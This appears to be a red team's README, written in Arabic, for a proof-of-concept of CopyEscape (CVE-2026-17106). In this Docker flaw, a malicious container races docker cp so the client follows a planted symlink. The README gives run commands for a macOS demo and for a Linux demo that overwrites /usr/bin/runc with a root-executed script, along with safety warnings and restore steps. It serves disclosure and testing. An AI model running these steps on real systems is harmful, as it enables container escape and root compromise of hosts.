
مستودع PoC لمنشور المدونة CopyEscape: السيطرة على مضيفي Docker باستخدام docker cp
docker cp (CVE-2026-17106)هذا هو مستودع إثبات المفهوم لمنشور المدونة CopyEscape: السيطرة على مضيفات Docker باستخدام docker cp — CVE-2026-17106.
يسمح CopyEscape لحاوية خبيثة قيد التشغيل بمنافسة منتج الأرشيف في Docker وإنشاء تدفق tar غير متسق. يمكن لواجهة Docker CLI المعرضة للخطر بعد ذلك اتباع رابط رمزي مزروع أثناء الاستخراج والكتابة خارج الوجهة المحلية التي حددها المستخدم الذي يشغّل docker cp.
يحتوي المستودع على عرضين توضيحيين:
macos/ على عرض توضيحي غير مدمر لـ Docker Desktop ينشئ ~/pwnd على مضيف macOS.linux/ على العرض التوضيحي الأصلي عالي التأثير لنظام Linux الذي يكتب فوق /usr/bin/runc وينشئ /imperva_red_team عند تنفيذ بيئة التشغيل المستبدلة.[!WARNING] شغّل هذه الـ PoCs على أنظمة تملكها أو حصلت على إذن صريح لاختبارها فقط. يكتب Linux PoC عمدًا فوق
/usr/bin/runc؛ استخدم جهازًا افتراضيًا مؤقتًا وأنشئ نسخة احتياطية تم التحقق منها قبل تشغيله.
/usr/bin/runc على Linux.تم تطوير الـ PoCs واختبارها ضد Docker Engine/CLI 29.6.1 وDocker Desktop 4.81.0. يجب أن ترفض الإصدارات المصلحة الأرشيف الخبيث أو تكمل النسخ دون الكتابة خارج الوجهة المحددة.
~/pwndيستهدف هذا العرض التوضيحي الدليل الرئيسي للمستخدم الذي يشغّل Docker CLI. يرفض المتابعة إذا كان ~/pwnd أو الوجهة المحلية file.txt موجودًا بالفعل.
شغّل:
cd macos
./demo-macos.sh
يبني السكربت الصورة، ويشغّل الحاوية المُجهزة، ويتأكد من أن /watched/file.txt يبدو كملف عادي بداخلها، ثم يطلق:
docker cp <demo-container>:/watched/file.txt ./file.txt
في إصدار معرض للخطر من Docker Desktop، ينشئ النسخ:
~/pwnd
بالمحتوى التالي:
COPYESCAPE_MACOS_DEMO
التنظيف:
rm -- ~/pwnd
rm -rf -- ./file.txt
docker image rm copyescape-macos-demo:local
/usr/bin/runc[!CAUTION] يجعل هذا العرض التوضيحي بيئة تشغيل مضيف Docker غير صالحة للاستخدام مؤقتًا وينفّذ بديلًا يتحكم فيه المهاجم بصلاحيات الجذر. استخدم جهازًا افتراضيًا مؤقتًا. بعد اكتمال
docker cp، استعدruncقبل تشغيل أي أمر Docker آخر.
افتح جلسة shell بصلاحيات الجذر وادخل إلى دليل Linux PoC:
sudo -s
cd linux
أنشئ نسخة احتياطية وتحقق منها قبل بدء الاختبار:
test ! -e /root/runc.copyescape-backup
cp --preserve=all -- /usr/bin/runc /root/runc.copyescape-backup
cmp -s /usr/bin/runc /root/runc.copyescape-backup
sha256sum /usr/bin/runc /root/runc.copyescape-backup
ابنِ الصورة:
docker build -t copyescape-linux .
شغّل الحاوية المُجهزة في الطرفية الأولى:
docker run --name copyescape-linux copyescape-linux
في طرفية جذر ثانية، تحقق من أن المسار المُجهز يبدو كملف عادي لأي عملية داخل الحاوية:
docker exec copyescape-linux cat /watched/file.txt
المخرجات المتوقعة:
top-level file
أطلق الثغرة:
docker cp copyescape-linux:/watched/file.txt ./file.txt
في إصدار معرض للخطر من Docker، أصبح /usr/bin/runc الآن يحتوي على سكربت الصدفة الخاص بـ PoC. وينشئ تنفيذ بيئة التشغيل المستبدلة علامة مملوكة للجذر:
sed -n '1,3p' /usr/bin/runc
ls -l /imperva_red_team
استعد بيئة التشغيل الأصلية فورًا، قبل إصدار أي أمر Docker آخر:
cp --preserve=all -- /root/runc.copyescape-backup /usr/bin/.runc.copyescape-restore
sync /usr/bin/.runc.copyescape-restore
mv -f -- /usr/bin/.runc.copyescape-restore /usr/bin/runc
cmp -s /usr/bin/runc /root/runc.copyescape-backup
/usr/bin/runc --version
بعد استعادة runc والتحقق منه، أزل بقايا الاختبار المتبقية:
docker rm -f copyescape-linux 2>/dev/null || true
docker image rm copyescape-linux
rm -rf -- ./file.txt
rm -f -- /imperva_red_team
يكشف كلا الـ PoCs عن /watched/file.txt كملف عادي للعمليات التي تعمل داخل الحاوية، بينما يرى Docker daemon دليلًا. أثناء اجتياز Docker لنظام الملفات، يستبدل المراقب دليلًا برابط رمزي مطلق مُجهز. يحتوي تدفق tar الناتج على الرابط الرمزي متبوعًا بمدخل فرعي تحته. تنشئ واجهة Docker CLI المعرضة للخطر الرابط الرمزي ثم تستخرج المدخل الفرعي عبره إلى نظام ملفات العميل.
تحمل عملية الكتابة النهائية صلاحيات العملية التي تشغّل docker cp.